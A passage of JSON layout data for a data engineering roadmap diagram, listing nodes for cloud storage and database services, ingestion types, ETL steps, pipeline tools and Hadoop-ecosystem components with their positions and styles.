true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Azure Blob Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BNGdJSmrNE90rwPa4JoWj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"iIZ3g70KRwEJCBNaONd2d\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2387.322840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Azure SQL Database\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BNGdJSmrNE90rwPa4JoWj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BNGdJSmrNE90rwPa4JoWj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2440.322840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Factory (ETL)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nD36-PXHzOXePM7j9u_O_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3H-zXkKzbU7v2EOVQOym4\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 220.71595716364237, \"y\": 2489.322840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Azure\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"OL5nd9q0nF8alYjn6U8Qk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 60, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-cU86vJWJmlmPHXDCo31o\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2543.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Compute Engine (Compute)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"2lqvArZdwRX0t3P3yovEH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2596.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google Cloud Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9-wQWQIdAxQmMaJC9ojPg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2649.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud SQL (Database)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"YWgVUyIvBRW8eTVR5y73P\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.21595716364237, \"y\": 2702.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dataflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OL5nd9q0nF8alYjn6U8Qk\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 190.21595716364237, \"y\": 2756.821772994228 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google Cloud\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 121, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3i8v8R7yBtBaWyYHGvlyX\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 65.10824406077529, \"y\": 1942.8844879677877 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 892,\n      \"measured\": { \"width\": 20, \"height\": 892 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"m10v6EdW_eDKAor3jo2Go\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -46.1381872719935, \"y\": 1934.5882070611324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 20,\n      \"measured\": { \"width\": 121, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Eb27y_lyYTsfxK5heaMDJ\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -276.1381872719935, \"y\": 2064.7228323023783 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Ingestion\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"tC6UX4itbzr5JLdMgon73\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 212, \"height\": 56 },\n      \"dragging\": false,\n      \"width\": 212,\n      \"height\": 56,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -306.6381872719935, \"y\": 2199.108501814603 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Types of Data Ingestion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"f-a3Hy1ldnvSv8W2mFiJK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -694.148604855875, \"y\": 2149.108501814603 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Batch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"4fugNG5sEDl0kgmN3Mezk\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -694.148604855875, \"y\": 2202.108501814603 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hybrid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wwPO5Uc6qnwYgibrbPn7y\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -694.148604855875, \"y\": 2255.108501814603 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Streaming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oqxNr0Lj34mgRi5Z5wJt_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"oqxNr0Lj34mgRi5Z5wJt_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -694.148604855875, \"y\": 2308.108501814603 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Realtime\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"omrg8QcYmTdQLBKV47b7o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 222, \"height\": 49 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fqTPu70MJyXBmqYUgCJ_r\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -306.6381872719935, \"y\": 2322.322840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Pipelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BtYVoCyN8MjOf8W-5e7fl\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -224.83024547901266, \"y\": 2377.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ETL Process\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"jav5k15cLeJJpzKXNLMwA\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 114, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"nShDMih1HmubBczxu4cfU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -284.83024547901266, \"y\": 2416.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Extract Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_IiKTZDF_b57l79X6lsq6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TjsxMNyWO3YGwg6zEIid4\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -284.83024547901266, \"y\": 2469.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transform Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y5Aaxe-P68HC5kNsIi88q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"y5Aaxe-P68HC5kNsIi88q\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -284.83024547901266, \"y\": 2522.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Load Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jav5k15cLeJJpzKXNLMwA\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -257.7574861060384, \"y\": 2585.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Pipeline Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 163, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"vfO5Dz6ppsNtbGiQwpUs7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -284.33024547901266, \"y\": 2625.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apache Airflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"SgYLIkMtLVPlw8Qo5j0Fb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -284.33024547901266, \"y\": 2678.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"dbt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_IiKTZDF_b57l79X6lsq6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_IiKTZDF_b57l79X6lsq6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -177.83024547901266, \"y\": 2678.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Luigi\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y5Aaxe-P68HC5kNsIi88q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 127, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TAh4__7U58J7fduU9a1Ol\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -284.33024547901266, \"y\": 2731.4007482223487 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Perfect\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 234, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"hB0y8A2U3owpAbTUb7LN5\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -713.648604855875, \"y\": 2411.322840240036 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cluster Computing Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 350,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 350, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ad10evrGQuYRl5GaMhQwu\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -714.148604855875, \"y\": 2509.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Cluster Computing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wpZfbIFtfiUSLMASk4t7f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 53,\n      \"measured\": { \"width\": 259, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1LLF4466grFDlT9p_WLsi\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -713.648604855875, \"y\": 2566.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Distributed File Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9lSjQBM2hWrkujxZjhQHE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ccc6_SzDwXpCL1WbFuPNA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -713.648604855875, \"y\": 2694.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Job Scheduling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wpZfbIFtfiUSLMASk4t7f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wpZfbIFtfiUSLMASk4t7f\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -713.648604855875, \"y\": 2747.821772994228 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cluster Management Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"I_IueX1DFp-LmBwr1-suX\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -693.648604855875, \"y\": 2808.576144260317 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pjm_qShAiFk3JsX4Z2d8G\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 53,\n      \"style\": { \"width\": 218 },\n      \"measured\": { \"width\": 218, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"pjm_qShAiFk3JsX4Z2d8G\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -693.648604855875, \"y\": 2865.576144260317 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apache Hadoop YARN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": { \"width\": 218 },\n      \"measured\": { \"width\": 218, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9lSjQBM2hWrkujxZjhQHE\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -699.148604855875, \"y\": 2625.19238200027 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"HDFS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wpZfbIFtfiUSLMASk4t7f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"measured\": { \"width\": 229, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OVkG0zXEXvFHTM9EautdY\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -401.33024547901266, \"y\": 2885.076144260317 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 20,\n      \"measured\": { \"width\": 104, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"03BHmPhYkZrJwRvQdmxxr\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -307.2893559278165, \"y\": 2870.576144260317 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Big Data Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jYqySUu-SEiH5wlJnucLO\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 166.2912166703675, \"y\": 2932.5669273367043 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hadoop Ecosystem\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 165, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"0pH2U4GOj8zK3lgkh_r5M\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 113.0194489163631, \"y\": 2975.5669273367043 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"HDFS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"__tWu5uZYnmnuR-qO9SOR\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 113.71366956052259, \"y\": 3029.5669273367043 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MapReduce\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qHMtJFYcGmESiz_VwRwiI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"KcW4z48pk2x6IjQhZs_Ub\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 219.06781399615846, \"y\": 2975.5669273367043 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"YARN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BNGdJSmrNE90rwPa4JoWj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 168, 